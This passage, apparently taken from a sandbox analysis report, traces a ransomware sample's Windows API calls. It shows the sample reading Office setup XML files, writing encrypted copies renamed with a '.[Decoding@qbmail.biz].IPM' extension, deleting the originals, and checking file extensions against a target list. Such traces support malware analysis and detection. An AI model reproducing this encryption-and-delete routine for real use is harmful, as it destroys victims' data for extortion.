"c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0079.784] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.784] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0080.557] GetLastError () returned 0x0 [0080.557] ReadFile (in: hFile=0x1d0, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x391, lpOverlapped=0x0) returned 1 [0080.559] WriteFile (in: hFile=0x200, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x3a0, lpOverlapped=0x0) returned 1 [0080.561] ReadFile (in: hFile=0x1d0, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0080.561] WriteFile (in: hFile=0x200, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0080.561] SetEndOfFile (hFile=0x200) returned 1 [0080.562] CloseHandle (hObject=0x200) returned 1 [0080.565] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.565] SetEndOfFile (hFile=0x1d0) returned 1 [0080.566] CloseHandle (hObject=0x1d0) returned 1 [0080.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0080.567] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml")) returned 1 [0080.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0080.567] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0080.567] lstrlenW (lpString=".doc") returned 4 [0080.567] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0080.567] lstrlenW (lpString=".docx") returned 5 [0080.567] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0080.567] lstrlenW (lpString=".pdf") returned 4 [0080.568] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0080.568] lstrlenW (lpString=".xls") returned 4 [0080.568] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0080.568] lstrlenW (lpString=".xlsx") returned 5 [0080.568] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0080.568] lstrlenW (lpString=".ppt") returned 4 [0080.568] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0080.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0080.568] lstrlenW (lpString=".zip") returned 4 [0080.568] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0080.568] lstrlenW (lpString=".rar") returned 4 [0080.568] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0080.568] lstrlenW (lpString=".bz2") returned 4 [0080.568] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0080.568] lstrlenW (lpString=".7z") returned 3 [0080.568] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0080.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0080.568] lstrlenW (lpString=".dbf") returned 4 [0080.568] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0080.568] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0080.569] lstrlenW (lpString=".1cd") returned 4 [0080.569] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0080.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0080.569] lstrlenW (lpString=".jpg") returned 4 [0080.569] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0080.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0080.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0080.569] lstrlenW (lpString=".doc") returned 4 [0080.569] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0080.569] lstrlenW (lpString=".docx") returned 5 [0080.569] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0080.569] lstrlenW (lpString=".pdf") returned 4 [0080.569] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0080.569] lstrlenW (lpString=".xls") returned 4 [0080.569] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0080.569] lstrlenW (lpString=".xlsx") returned 5 [0080.569] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0080.569] lstrlenW (lpString=".ppt") returned 4 [0080.569] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0080.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0080.570] lstrlenW (lpString=".zip") returned 4 [0080.570] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0080.570] lstrlenW (lpString=".rar") returned 4 [0080.570] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0080.570] lstrlenW (lpString=".bz2") returned 4 [0080.570] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0080.570] lstrlenW (lpString=".7z") returned 3 [0080.570] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0080.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0080.570] lstrlenW (lpString=".dbf") returned 4 [0080.570] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0080.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0080.570] lstrlenW (lpString=".1cd") returned 4 [0080.570] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0080.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0080.570] lstrlenW (lpString=".jpg") returned 4 [0080.570] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0080.571] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0080.571] lstrlenW (lpString="SETUP.XML") returned 9 [0080.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0080.571] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=1852) returned 1 [0080.571] CloseHandle (hObject=0x1d0) returned 1 [0080.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0080.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0080.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0080.572] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.572] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0080.573] GetLastError () returned 0x0 [0080.573] ReadFile (in: hFile=0x1d0, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x73c, lpOverlapped=0x0) returned 1 [0080.577] WriteFile (in: hFile=0x200, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x740, lpOverlapped=0x0) returned 1 [0080.579] ReadFile (in: hFile=0x1d0, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0080.579] WriteFile (in: hFile=0x200, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0080.579] SetEndOfFile (hFile=0x200) returned 1 [0080.580] CloseHandle (hObject=0x200) returned 1 [0080.584] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0080.584] SetEndOfFile (hFile=0x1d0) returned 1 [0080.586] CloseHandle (hObject=0x1d0) returned 1 [0080.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0080.587] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0080.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0080.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0080.587] lstrlenW (lpString=".doc") returned 4 [0080.587] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0080.587] lstrlenW (lpString=".docx") returned 5 [0080.587] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0080.587] lstrlenW (lpString=".pdf") returned 4 [0080.587] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0080.587] lstrlenW (lpString=".xls") returned 4 [0080.587] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0080.587] lstrlenW (lpString=".xlsx") returned 5 [0080.588] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0080.588] lstrlenW (lpString=".ppt") returned 4 [0080.588] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0080.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0080.588] lstrlenW (lpString=".zip") returned 4 [0080.588] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0080.588] lstrlenW (lpString=".rar") returned 4 [0080.588] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0080.588] lstrlenW (lpString=".bz2") returned 4 [0080.588] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0080.588] lstrlenW (lpString=".7z") returned 3 [0080.588] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0080.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0080.588] lstrlenW (lpString=".dbf") returned 4 [0080.588] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0080.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0080.588] lstrlenW (lpString=".1cd") returned 4 [0080.588] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0080.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0080.588] lstrlenW (lpString=".jpg") returned 4 [0080.589] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0080.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0080.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0080.589] lstrlenW (lpString=".doc") returned 4 [0080.589] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0080.589] lstrlenW (lpString=".docx") returned 5 [0080.589] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0080.589] lstrlenW (lpString=".pdf") returned 4 [0080.589] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0080.589] lstrlenW (lpString=".xls") returned 4 [0080.589] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0080.589] lstrlenW (lpString=".xlsx") returned 5 [0080.589] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0080.589] lstrlenW (lpString=".ppt") returned 4 [0080.589] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0080.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0080.590] lstrlenW (lpString=".zip") returned 4 [0080.590] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0080.590] lstrlenW (lpString=".rar") returned 4 [0080.590] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0080.590] lstrlenW (lpString=".bz2") returned 4 [0080.590] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0080.590] lstrlenW (lpString=".7z") returned 3 [0080.590] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0080.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0080.590] lstrlenW (lpString=".dbf") returned 4 [0080.590] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0080.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0080.590] lstrlenW (lpString=".1cd") returned 4 [0080.590] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0080.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0080.590] lstrlenW (lpString=".jpg") returned 4 [0080.590] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0080.591] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0080.591] lstrlenW (lpString="BRANDING.XML") returned 12 [0080.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0081.140] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=596341) returned 1 [0081.140] CloseHandle (hObject=0x208) returned 1 [0081.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0081.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0081.140] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0081.140] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.140] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0081.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0081.141] GetLastError () returned 0x0 [0081.141] ReadFile (in: hFile=0x208, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x91975, lpOverlapped=0x0) returned 1 [0081.258] WriteFile (in: hFile=0x1d0, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0081.699] ReadFile (in: hFile=0x208, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2b2fed4*=0x0, lpOverlapped=0x0) returned 1 [0081.804] WriteFile (in: hFile=0x1d0, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2b2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0081.804] SetEndOfFile (hFile=0x1d0) returned 1 [0081.938] CloseHandle (hObject=0x1d0) returned 1 [0082.144] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.144] SetEndOfFile (hFile=0x208) returned 1 [0082.524] CloseHandle (hObject=0x208) returned 1 [0082.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0082.525] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0083.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.522] lstrlenW (lpString=".doc") returned 4 [0083.522] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0083.522] lstrlenW (lpString=".docx") returned 5 [0083.522] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0083.522] lstrlenW (lpString=".pdf") returned 4 [0083.522] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0083.523] lstrlenW (lpString=".xls") returned 4 [0083.523] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0083.523] lstrlenW (lpString=".xlsx") returned 5 [0083.523] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0083.523] lstrlenW (lpString=".ppt") returned 4 [0083.523] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0083.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.523] lstrlenW (lpString=".zip") returned 4 [0083.523] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0083.523] lstrlenW (lpString=".rar") returned 4 [0083.523] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0083.523] lstrlenW (lpString=".bz2") returned 4 [0083.523] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0083.523] lstrlenW (lpString=".7z") returned 3 [0083.523] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0083.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.523] lstrlenW (lpString=".dbf") returned 4 [0083.523] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0083.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.524] lstrlenW (lpString=".1cd") returned 4 [0083.524] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0083.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.524] lstrlenW (lpString=".jpg") returned 4 [0083.524] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0083.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.524] lstrlenW (lpString=".doc") returned 4 [0083.524] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0083.524] lstrlenW (lpString=".docx") returned 5 [0083.524] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0083.524] lstrlenW (lpString=".pdf") returned 4 [0083.524] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0083.524] lstrlenW (lpString=".xls") returned 4 [0083.525] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0083.525] lstrlenW (lpString=".xlsx") returned 5 [0083.525] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0083.525] lstrlenW (lpString=".ppt") returned 4 [0083.525] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0083.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.525] lstrlenW (lpString=".zip") returned 4 [0083.525] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0083.525] lstrlenW (lpString=".rar") returned 4 [0083.525] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0083.525] lstrlenW (lpString=".bz2") returned 4 [0083.525] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0083.525] lstrlenW (lpString=".7z") returned 3 [0083.525] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0083.525] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.525] lstrlenW (lpString=".dbf") returned 4 [0083.525] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0083.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.526] lstrlenW (lpString=".1cd") returned 4 [0083.526] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0083.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0083.526] lstrlenW (lpString=".jpg") returned 4 [0083.526] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0083.526] lstrcmpiW (lpString1=".CHM", lpString2=".IPM") returned -1 [0083.526] lstrlenW (lpString="SETUP.CHM") returned 9 